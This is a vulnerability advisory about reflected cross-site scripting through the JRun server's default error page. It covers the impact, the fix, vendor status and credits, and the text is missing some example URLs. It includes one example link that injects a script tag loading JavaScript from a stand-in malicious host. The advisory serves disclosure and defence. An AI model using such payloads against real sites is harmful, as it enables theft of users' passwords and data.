Vulnerability Note VU#654643
Allaire JRun Java Application Server vulnerable to Cross-Site Scripting via passing of user input directly to default error page
The essence of cross-site scripting is that an intruder causes a legitimate web server to send a page to a victim's web browser that contains malicious script or HTML of the intruder's choosing. The malicious script runs with the privileges of a legitimate script originating from the legitimate web server.
Several server applications are vulnerable to such an technique via various default error pages.
For example, A valid URL request might be
However, if the requested document "FILENAME.html" did not exist, the web site could return an error message such as:
404 page does not exist: FILENAME.html
Notice that "FILENAME.html" is a string that was inputed by a user and is included in the page returned by the web site straight through to the client's browser.
If a malicious web site existed that offered a link to example.com that looked something like this
<A HREF="http://www.example.com/<script%20SRC='http://www.malicioussite.com/evilscript.js'></script>">Click Here</a>
The "FILENAME.html" submitted to example.com is
example.com then uses its ordinary routines to generate an error page to you that
404 page not found: <script SRC='http://www.malicioussite.com/evilscript.js'></script>
The ultimate fix to this problem involves recoding a very large number of web sites so that they properly filter and validate the input they receive and properly encode or filter the output before returning it to the user or acting upon it. This process is a very large undertaking.
The victim will be presented with information which the compromised site did not wish their visitors to be subjected. This could be used to "sniff" sensitive data from within the web page, including passwords, credit card numbers, and any arbitrary information the user inputs.
If you are a vendor and your product is affected, let
|Vendor||Status||Date Notified||Date Updated|
|Allaire Corporation||Affected||13 Mar 2001||27 Jul 2001|
Our thanks to Hiromitsu Takagi, who discovered this instance of the cross-site scripting vulnerability.
This document was originally written by Shawn Hernan in July 2000. It has been adapted for this instance by Jason Rafail.
02 Jul 2001
Date First Published:
27 Jul 2001
Date Last Updated:
30 Jul 2001
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